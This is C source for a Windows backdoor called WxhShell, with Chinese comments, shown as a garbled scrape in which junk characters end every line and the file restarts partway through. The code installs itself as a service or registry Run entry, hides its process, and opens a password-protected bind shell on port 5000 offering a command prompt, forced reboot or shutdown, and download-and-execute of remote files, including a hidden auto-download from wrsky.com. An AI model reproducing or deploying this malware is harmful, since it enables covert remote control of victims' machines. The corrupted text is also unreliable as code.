  // 关机 > whcZ.8  
  case 'd': { -qI8zs$:5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4AIo,{(  
    if(Boot(SHUTDOWN)) w^ AY= Fc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $nkvp`A  
    else { _H,xnh#nZ  
    closesocket(wsh); >MTrq%.  
    ExitThread(0); Ofx]  
    } kp6{QKDj&  
    break; )S:,q3gxJ  
    } PRdyc+bf  
  // 获取shell 6 5%WjO  
  case 's': { lx'^vK%F  
    CmdShell(wsh); }@)r\t4m  
    closesocket(wsh); Li'>pQ+  
    ExitThread(0); Z<yLu'48)A  
    break; vz$_Fgsc.  
  } {^5LolCCH  
  // 退出 Wz8 MV -D  
  case 'x': { |)Q#U$ m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6#J>b[Q  
    CloseIt(wsh); yt5 Sy  
    break; s6DmZ^Y%  
    } Rudj"OGO  
  // 离开 xJ$/#UdP  
  case 'q': { ; ,vGw <|o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7J[DD5  
    closesocket(wsh); .83{NF  
    WSACleanup(); Cr7T=&L  
    exit(1); 6YHQ/#'G~  
    break; 5 O't-'  
        } .jXD0~N8q  
  } Kl Kk?6 >  
  } 8gHOs#\  
483/ZgzT`  
  // 提示信息 Nv~H797B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $_ BoG  
} ~6Xr^An/Z  
  } d3[O!4<T  
>=6 j:  
  return; h 7P<3m}  
} n@JZ2K4  
'^{:HR#i  
// shell模块句柄 +55+%oGl  
int CmdShell(SOCKET sock) f@j)t%mh  
{ _.{I1*6Y2  
STARTUPINFO si; >1$ vG  
ZeroMemory(&si,sizeof(si)); :Rroz]*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l%_r3W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sTS Nu+  
PROCESS_INFORMATION ProcessInfo; > u!# 4  
char cmdline[]="cmd"; U.GRN)fL4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yrF"`/zv6|  
  return 0; SSAf<44e  
} hr/H vB  
0| }]=XN^  
// 自身启动模式 "c5bz  
int StartFromService(void) 61@;3yV  
{ /$U< S"  
typedef struct W=S<DtG2  
{ *U mWcFoF  
  DWORD ExitStatus; zR!p-7_w  
  DWORD PebBaseAddress; uxOeD%Z>  
  DWORD AffinityMask; [0?W>A*h  
  DWORD BasePriority; lVYrP|#  
  ULONG UniqueProcessId; E*Z# fa  
  ULONG InheritedFromUniqueProcessId; }T~ }W8H  
}   PROCESS_BASIC_INFORMATION; tW -f_0a.  
QFNw2:)  
PROCNTQSIP NtQueryInformationProcess; [["az'Lrk?  
IA;'5IF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c gOkm}h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \Q!I;  
&cSZ?0R  
  HANDLE             hProcess; R_zQiSwG<  
  PROCESS_BASIC_INFORMATION pbi; h]jy):9L  
a;h.I}*]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V#,jUH|  
  if(NULL == hInst ) return 0; 5hvg]w95;  
UOa n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0@tN3u?dx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v;o/M6GL5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XCd[<\l  
m#,AD,s  
  if (!NtQueryInformationProcess) return 0; \|YIuzlO4  
:V!F~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p9-s'F|@i  
  if(!hProcess) return 0; rQsYt/  
eUVhNg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P;U(2;9 N  
)Y &RMYy  
  CloseHandle(hProcess); I /z`)  
GO]5~ 4k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5L y Wg2  
if(hProcess==NULL) return 0; v+vM:At4  
ku5vaP(  
HMODULE hMod;  va [r~  
char procName[255]; l{mC|8X  
unsigned long cbNeeded; EdTR]}8  
B2^*Sr[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^oMdx2Ow#  
T9\G,;VQ7/  
  CloseHandle(hProcess); DS|q(O=7~t  
[T(`+ #f  
if(strstr(procName,"services")) return 1; // 以服务启动 z'9U.v'M)  
+`f3_Xd  
  return 0; // 注册表启动 A&S n^mw  
} yi;pn Z  
ez14f$cJ+  
// 主模块 A4daIhP (  
int StartWxhshell(LPSTR lpCmdLine) Dnp><%  
{ )dfwYS*[n  
  SOCKET wsl; e0ULr!p  
BOOL val=TRUE; Z</57w#-7  
  int port=0; )Ah7  
  struct sockaddr_in door; 5ENEx  
~X<?&;6  
  if(wscfg.ws_autoins) Install(); FWW*f _L  
d]K$0HY  
port=atoi(lpCmdLine); uH |:gF^  
P?hB`5X  
if(port<=0) port=wscfg.ws_port; +-:o+S`q~  
oV'G67W  
  WSADATA data; I+/fX0-Lib  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :E.T2na  
im@QJ :  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   97k}{tG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7hhv/9L1  
  door.sin_family = AF_INET; 8?LHYdJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @xeJ$ rlu  
  door.sin_port = htons(port); tz9"#=}0  
tu's]3RE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { abw5Gz@Ag  
closesocket(wsl); T|-llhJ8  
return 1; wpg7xx!  
} Ot{~mMDp  
5><T#0W?  
  if(listen(wsl,2) == INVALID_SOCKET) { f0{j/+F_o  
closesocket(wsl); xri(j,mU  
return 1; k\X yR4r  
} 8RT<?I^5  
  Wxhshell(wsl); Gdz*   
  WSACleanup(); p$}/~5b}4  
X<Ag['r  
return 0; <+Gf!0i  
jJD*s/o  
} iu.Jp92  
n.XgGT=L  
// 以NT服务方式启动 ,uPN\`.u8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >P ~j@Lv  
{ P)O:lYX  
DWORD   status = 0; ^Rh}[  
  DWORD   specificError = 0xfffffff; * !9=?  
L=dQ,yA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F#^/=AR'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7c!#e=W@B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q^8/"aV\  
  serviceStatus.dwWin32ExitCode     = 0; 8@/MrEOW#  
  serviceStatus.dwServiceSpecificExitCode = 0; FXul u6"SX  
  serviceStatus.dwCheckPoint       = 0; Fl!D2jnN  
  serviceStatus.dwWaitHint       = 0; &88c@Ksn  
2U3e!V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eV"s5X[$  
  if (hServiceStatusHandle==0) return; (}rBnD  
HWFL u  
status = GetLastError(); s Fx0  
  if (status!=NO_ERROR) 9)>+r6t  
{ ECk3Da  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]xGpN ]u  
    serviceStatus.dwCheckPoint       = 0;  niyI$OC  
    serviceStatus.dwWaitHint       = 0; Za]~[F  
    serviceStatus.dwWin32ExitCode     = status; vX_;Y#uD  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zb&"W]HSf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zt!7aVm n  
    return; }tL]EW^  
  } kN6 jX  
,H_d#Koa.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rX0 ?m:&m  
  serviceStatus.dwCheckPoint       = 0; R'pfA B|!  
  serviceStatus.dwWaitHint       = 0; M+I9k;N6&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,/&|:PkS  
} JNo[<SZb  
j`#H%2W\;  
// 处理NT服务事件,比如:启动、停止 =@c;%x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y;@]G=a   
{ "wCx]{Di  
switch(fdwControl) *'*n}fM  
{ u$FL(m4  
case SERVICE_CONTROL_STOP:  % s@  
  serviceStatus.dwWin32ExitCode = 0; B|.A6:1g+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1je/l9L  
  serviceStatus.dwCheckPoint   = 0; qHvU4v  
  serviceStatus.dwWaitHint     = 0; i-?mghe8  
  { { <1uV']x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 !m'9  
  } ?*.:*A  
  return; $y{.fjy3  
case SERVICE_CONTROL_PAUSE: ;p7R~17  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u@tH6k*cBz  
  break; =!)x`1j!S  
case SERVICE_CONTROL_CONTINUE: ?dXAHY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .[+}nA,g%~  
  break; jz S iw z  
case SERVICE_CONTROL_INTERROGATE:  tN.$4+  
  break; zN9#qlfv  
}; ^Vi{._r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gjx-tp 1.  
} qMoo#UX  
xUNq!({T  
// 标准应用程序主函数 5gkQ6& m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d|8-#.gV  
{  ^"~r/@l  
;GKL[ tI"  
// 获取操作系统版本 oF a,IA  
OsIsNt=GetOsVer(); 1M b[S{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ObJ-XNcNH  
XMz*}B6GQ  
  // 从命令行安装 ?XeaoD/  
  if(strpbrk(lpCmdLine,"iI")) Install(); !pC`vZG"  
j#u{(W'r  
  // 下载执行文件 7rYBFSp  
if(wscfg.ws_downexe) { =[zP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^nK7&]rK  
  WinExec(wscfg.ws_filenam,SW_HIDE); @t0T+T3  
} |Qcj +HH.  
&8yGV i  
if(!OsIsNt) { `PUxR8y  
// 如果时win9x,隐藏进程并且设置为注册表启动 s}-j.jzB{  
HideProc(); $j8CF3d.6  
StartWxhshell(lpCmdLine); fP6\Ur  
} =M}tet }  
else zg'.fUZ  
  if(StartFromService()) [#YzU^^Ib  
  // 以服务方式启动 e"*1l>g  
  StartServiceCtrlDispatcher(DispatchTable); $:# :"  
else w~&#:F?  
  // 普通方式启动 +XSe;xk;rD  
  StartWxhshell(lpCmdLine); aX zb]">  
vxug>2  
return 0; =qbN?a/?2  
} lMG+,?<uK&  
1GIBqs~-  
X&h?1lMJ /  
PVIZ Y^64  
=========================================== q[+ h ~)  
G B,O  
ti$60Up  
;nJ2i?"  
NpCQ4 K  
H:OpS-b  
" $|7=$~y  
X|/RV4x@Cq  
#include <stdio.h> Pt cq/f  
#include <string.h> !* KQ2#e  
#include <windows.h> Jw#7b[a  
#include <winsock2.h> ,0ilNi>  
#include <winsvc.h> &5.J y2hO]  
#include <urlmon.h> 3,`M\#z%K  
KhP_U{)D  
#pragma comment (lib, "Ws2_32.lib") U&{w:P  
#pragma comment (lib, "urlmon.lib") Rkp +}@Y_  
Bo14t*(  
#define MAX_USER   100 // 最大客户端连接数 q`.=/O'  
#define BUF_SOCK   200 // sock buffer Lb?q5_  
#define KEY_BUFF   255 // 输入 buffer )q.ZzijG/  
8 R7w$3pp\  
#define REBOOT     0   // 重启 , s otZT  
#define SHUTDOWN   1   // 关机 7 h0u7N  
q@~{ g[   
#define DEF_PORT   5000 // 监听端口 wjZ Q.T!  
,G-  
#define REG_LEN     16   // 注册表键长度 mP/#hwzB&q  
#define SVC_LEN     80   // NT服务名长度 $CJf 0[|  
cui%r!D  
// 从dll定义API 7ku=roPoF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m@lUJY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %#PWD7a\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^TjC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r> Xk1~<!  
9W+DW_M  
// wxhshell配置信息 tN_=&|{WE4  
struct WSCFG { tIV{uVM[|D  
  int ws_port;         // 监听端口 =tY%`e  
  char ws_passstr[REG_LEN]; // 口令 lkly2|wA  
  int ws_autoins;       // 安装标记, 1=yes 0=no T31F8K3x  
  char ws_regname[REG_LEN]; // 注册表键名 a7uL {*ZR  
  char ws_svcname[REG_LEN]; // 服务名 jIwN,H1$-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ){z#Y#]dP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fw{68ggk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8SL E*c^8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n*' :,m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u 8<[Q]5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8~yP?#p  
UjLq[,_!  
}; BOR$R}q  
LFqY2,#i  
// default Wxhshell configuration K" |~D0Qgo  
struct WSCFG wscfg={DEF_PORT, E2t& @t%W  
    "xuhuanlingzhe", cH$( *k9%M  
    1, 6uKth mr  
    "Wxhshell", \IYv9ScAx  
    "Wxhshell", :SW vH-]  
            "WxhShell Service", +'iqGg-  
    "Wrsky Windows CmdShell Service", $aB`A$'hK  
    "Please Input Your Password: ", oM^vJ3  
  1, Q4*{+$A  
  "http://www.wrsky.com/wxhshell.exe", &/2+'wCp5  
  "Wxhshell.exe" "L`BuAB  
    }; {O).!  
!fd>wvJ,:  
// 消息定义模块 0VNpd~G$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c`hENPhW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8z7eL>)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PhV/WjCZ  
char *msg_ws_ext="\n\rExit."; X8}\m%gCU  
char *msg_ws_end="\n\rQuit."; 2TQZu3$c  
char *msg_ws_boot="\n\rReboot..."; e6H}L:;  
char *msg_ws_poff="\n\rShutdown..."; 4p+Veo6B  
char *msg_ws_down="\n\rSave to "; i%F2^R@!q/  
Csp$_uDi  
char *msg_ws_err="\n\rErr!"; 1zG6^U  
char *msg_ws_ok="\n\rOK!"; ?(Tin80=r  
n%RaEL  
char ExeFile[MAX_PATH]; JUj.:n2e  
int nUser = 0; (CH6Q]Wi_!  
HANDLE handles[MAX_USER]; yiXb<g+B  
int OsIsNt; aIQC[ry  
^c9_F9N  
SERVICE_STATUS       serviceStatus; 6[RTL2&W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #H4<8B  
a5O$he  
// 函数声明 0H.bRk/P+  
int Install(void); kka{u[ruA  
int Uninstall(void); $;} @2U   
int DownloadFile(char *sURL, SOCKET wsh); M #0v# {o  
int Boot(int flag); PX0N7L  
void HideProc(void); 1:- M<=J?f  
int GetOsVer(void); J7oj@Or9  
int Wxhshell(SOCKET wsl); hR:i!  
void TalkWithClient(void *cs); _A& [rBm|  
int CmdShell(SOCKET sock); " W{rS4L  
int StartFromService(void); v$x)$/]n  
int StartWxhshell(LPSTR lpCmdLine); ^_ V0irv  
.I]v D#o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mae2L2vc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iRcac[uV  
C`3 XOth  
// 数据结构和表定义 ^jdtp  
SERVICE_TABLE_ENTRY DispatchTable[] = \*BRFUAc  
{ I(3~BOUn_  
{wscfg.ws_svcname, NTServiceMain}, |; mET  
{NULL, NULL} yw%E S  
}; :SO4@JT{W  
-:Fr($^  
// 自我安装 }?Pa(0=U  
int Install(void) |0>rojMq  
{  P s|[  
  char svExeFile[MAX_PATH]; #K$0%0=M  
  HKEY key; }weE^9GiJ  
  strcpy(svExeFile,ExeFile); 7@ y}J5,  
[AFGh L+t3  
// 如果是win9x系统,修改注册表设为自启动 +XX5;;IC  
if(!OsIsNt) { d!Ws-kzE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yt:%)&50}-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  r3OtQ  
  RegCloseKey(key); ;9fWxH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EV* |\ te  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -iW>T5f  
  RegCloseKey(key); S;iD~>KP  
  return 0; WLh!L='{BK  
    } mI:D  
  } wt'"<UN  
} q3-cWfU  
else { }TuMMO4+  
1rue+GL  
// 如果是NT以上系统,安装为系统服务 CN-4FI)1D9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;Z;` BGZJ  
if (schSCManager!=0) CI \O)iB  
{ Bd;EI)JT  
  SC_HANDLE schService = CreateService $:-C9N29  
  ( yDe*-N\'W  
  schSCManager, L"?4}U:  
  wscfg.ws_svcname, ?;(!(<{  
  wscfg.ws_svcdisp, JJM!pD\h  
  SERVICE_ALL_ACCESS, 0|0IIgy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kf~>%tES]  
  SERVICE_AUTO_START, 9!2$?xqym  
  SERVICE_ERROR_NORMAL, j E5=e</  
  svExeFile, nSZp,?^  
  NULL, c$u#U~~  
  NULL, 0lcwc"_DZX  
  NULL, LS# _K-  
  NULL, IsFL"Vx  
  NULL ww%4MHPp8  
  ); QZO<'q`L  
  if (schService!=0) +:c}LCI9<  
  { 4IM&#_6  
  CloseServiceHandle(schService); +, rm  
  CloseServiceHandle(schSCManager); v] Xy^7?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n4"xVDL  
  strcat(svExeFile,wscfg.ws_svcname); h4ghMBo%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eSMno_Gt3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^;\6ju2  
  RegCloseKey(key); z|S4\Ae  
  return 0; +_f813$C  
    }  Bv%dy[I  
  } 5$$]ZMof  
  CloseServiceHandle(schSCManager); s <$*A;t  
} qe0ZM-C_  
} '=(yh{W  
b+CvA(*  
return 1; gKPqU@$*  
} Zyz)`>cB  
k9\n='OI  
// 自我卸载  f|yq~3x)  
int Uninstall(void) 3zM>2)T-  
{ WS@8Z0@RD  
  HKEY key; Dl}va  
S|IDFDn  
if(!OsIsNt) { ??P3gA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sP8_Y,  
  RegDeleteValue(key,wscfg.ws_regname);  |FFM Q"  
  RegCloseKey(key); RT9%E/m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Myz[)<P_  
  RegDeleteValue(key,wscfg.ws_regname); ty9(mtH+  
  RegCloseKey(key); aprgThoD  
  return 0; @XKVdtG  
  } 3);W gh6  
} 8{CBWXo$)  
} IF?  
else { $')Uie<!8  
q }9n.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G)9`Qn  
if (schSCManager!=0) T=pKen/  
{ 2&F  H8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uv7tbI"r  
  if (schService!=0) W}\<}dK  
  { ]k.YG!$  
  if(DeleteService(schService)!=0) { VZA>ErB  
  CloseServiceHandle(schService); "fd'~e$S#  
  CloseServiceHandle(schSCManager); 7{=+Va5  
  return 0; !/e8x;_  
  } x&FBh !5H  
  CloseServiceHandle(schService); <L3ig%#B  
  } 1 |3vwgRhs  
  CloseServiceHandle(schSCManager); Mg u=cm )  
} |c,'0V,"cH  
} k)fLJ9R  
#}'sknvM}  
return 1; x^UAtKSy  
} jouT9~[L'  
T\T>\&nY+|  
// 从指定url下载文件 7I{rhA  
int DownloadFile(char *sURL, SOCKET wsh) YzAGhAyw  
{ };8PPR)\y  
  HRESULT hr; L0xh?B  
char seps[]= "/"; -$y/*'  
char *token; Z3A"GWY  
char *file; -/6Ms%O  
char myURL[MAX_PATH]; 5 |oi*b  
char myFILE[MAX_PATH]; yrrP#F  
]-u>HO g\  
strcpy(myURL,sURL); ]i'gU(+;`  
  token=strtok(myURL,seps); I%ZSh]On  
  while(token!=NULL) M0RVEhX  
  { BH?fFe&J:`  
    file=token; K%>3ev=y.s  
  token=strtok(NULL,seps); 1f5;^T I  
  } *3!ixDX[r  
i}ti  
GetCurrentDirectory(MAX_PATH,myFILE); s#)tiCSVW  
strcat(myFILE, "\\"); 6C*4' P9>  
strcat(myFILE, file); jR,3 -JQ  
  send(wsh,myFILE,strlen(myFILE),0); dv \aP  
send(wsh,"...",3,0); 'ewVn1ME[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |f"1I4K g  
  if(hr==S_OK) lO^YAOY  
return 0; K>`*JJ,  
else Cv1CRmqq%  
return 1; _VAX~Y]  
ltG|#(  
} k|_LF[*Z  
^9*Jz{e  
// 系统电源模块 SV_b(wP9  
int Boot(int flag) I~U;M+n*y  
{ 14rX:z  
  HANDLE hToken; [c#?@S_  
  TOKEN_PRIVILEGES tkp; I-|1eR+3  
 EoHrXv  
  if(OsIsNt) { a/p /<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Wwo`R5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uF\f>E)/N%  
    tkp.PrivilegeCount = 1; l#%G~c8x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Y9'tHI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MG0d&[  
if(flag==REBOOT) { ^o6&|q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jD'$nKpg  
  return 0; W q>qso  
} -VRKQNT  
else { $t42?Z=N&z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eop7=!`-~~  
  return 0; C2Af$7c  
} cP(is!  
  } tY $4k26  
  else { }h_= n>  
if(flag==REBOOT) { '9q:gFO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |t h"ET  
  return 0; 's6hCs&|NV  
} 23[XmBf  
else { ^Dw18gqr=@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1c03<(FCd  
  return 0; 7e`h,e=  
} ;CdxKr- d  
} M/a5o|>8  
3D"?|rd~  
return 1; Fo[=Dh*AqU  
} !3Me 6&$O  
8qQrJFm|3*  
// win9x进程隐藏模块 +%RB&:K7,  
void HideProc(void) q|7$@H^*  
{ ]k.'~ Syz  
QDJ:LJz\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7F D.3/  
  if ( hKernel != NULL ) Z:s:NvFX  
  { Pi:=0,"XOp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xSoXf0zq:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W8{zV_TBm  
    FreeLibrary(hKernel); 0ud>oh4WPR  
  } >^hy@m  
Sk&l8"  
return; b!xm=U  
} ^5d9n<_xnQ  
eMV@er|  
// 获取操作系统版本 tM;S )S(=  
int GetOsVer(void) P_3U4J  
{ G`r*)pdm  
  OSVERSIONINFO winfo; QHuh=7u)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E?Ofkc$q  
  GetVersionEx(&winfo); j8"2K^h=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ 0Ced&i  
  return 1; bB|P`l L  
  else o|0QstSCl  
  return 0; 9F"Q2^l'  
} /*yPy?  
a2N4Jg@  
// 客户端句柄模块 @ag*zl  
int Wxhshell(SOCKET wsl) @n:.D9  
{ D&r2k 9  
  SOCKET wsh; J=qPc}+  
  struct sockaddr_in client; bP,_H  
  DWORD myID; %!e;sL~&  
PC}m.tE  
  while(nUser<MAX_USER) SQd`xbIuL  
{ \4e6\6 +  
  int nSize=sizeof(client); nmrYBw>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %[C-KQH  
  if(wsh==INVALID_SOCKET) return 1; 3V`.<  
_z3YB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `Gp!Y  
if(handles[nUser]==0) _C97G&  
  closesocket(wsh); N>}2&'I  
else [5Dg%?x  
  nUser++; Yi+~}YP.E(  
  } ep3iI77/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /4Lmu+G4  
?nAKB5=  
  return 0; 3qc o2{nz  
} t,yzqn  
2i3& 3oz]O  
// 关闭 socket pD>^Dfd  
void CloseIt(SOCKET wsh) Ma`Goi\vFk  
{ ?hQ,'M2  
closesocket(wsh); rX<gcntv  
nUser--; .5~W3v <  
ExitThread(0); Z/ypWoV(  
} _("&jfn  
?w[M{   
// 客户端请求句柄 YQ+Kl[ec  
void TalkWithClient(void *cs) `b{.K,  
{ $q6'VLPo  
s*B-|  
  SOCKET wsh=(SOCKET)cs; Kc:} Ky  
  char pwd[SVC_LEN]; %g>{m2o  
  char cmd[KEY_BUFF]; PNbs7f  
char chr[1]; f1RfNiW.  
int i,j; !B3lsXLSY  
hoQ?8}r:  
  while (nUser < MAX_USER) { #`0iN+qh  
7o4 vf~  
if(wscfg.ws_passstr) { rGe^$!QB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^{W#ut>IN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :tA|g  
  //ZeroMemory(pwd,KEY_BUFF); ,T|%vqbmw  
      i=0; &Tf R].  
  while(i<SVC_LEN) { S}hg*mWn{$  
nd] AvVS  
  // 设置超时 XTZI !  
  fd_set FdRead; j8G>0f)  
  struct timeval TimeOut; '\2lWR]ndd  
  FD_ZERO(&FdRead); (1vmtg.O  
  FD_SET(wsh,&FdRead); CKTD27})  
  TimeOut.tv_sec=8; X; gN[  
  TimeOut.tv_usec=0; a'v%bL;H~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [i'\d}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DvuL1Me Ko  
zq5_&AeW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ibOXh U  
  pwd=chr[0]; D^Z~>D6  
  if(chr[0]==0xd || chr[0]==0xa) { d\ &jl`8*  
  pwd=0; +(3PY  e\  
  break; lE54RX}e4  
  } ?ExfxR!~  
  i++; \\D~Yg\#  
    } A*h)p@3t<  
[^gSWU  
  // 如果是非法用户,关闭 socket '7F`qL\/#(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H\kqmPl&  
} ^/Hj^4~_U  
wBcDL/(>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y^C; ?B<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *4zVK/FJ  
"z }bgy  
while(1) { r[$Qtj Q  
FVsNOU  
  ZeroMemory(cmd,KEY_BUFF); z^4\?R50yO  
^yRCR] oT  
      // 自动支持客户端 telnet标准   WPE@yI(  
  j=0;  \~  
  while(j<KEY_BUFF) { oh;F]*k6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b>%I=H%g  
  cmd[j]=chr[0]; ^3`98y.Q  
  if(chr[0]==0xa || chr[0]==0xd) { s 8``U~D   
  cmd[j]=0; is}Fy>9i  
  break; f ( `.q  
  } )^!-Aj\x  
  j++; U[S;5xeF.j  
    } ^;YD3EZw  
7l Aa6"Y68  
  // 下载文件 P|.KMtG  
  if(strstr(cmd,"http://")) { 2597#O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nm'm*sU\  
  if(DownloadFile(cmd,wsh)) @D"1}CW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S$"A[  
  else 7$GP#V1r/  
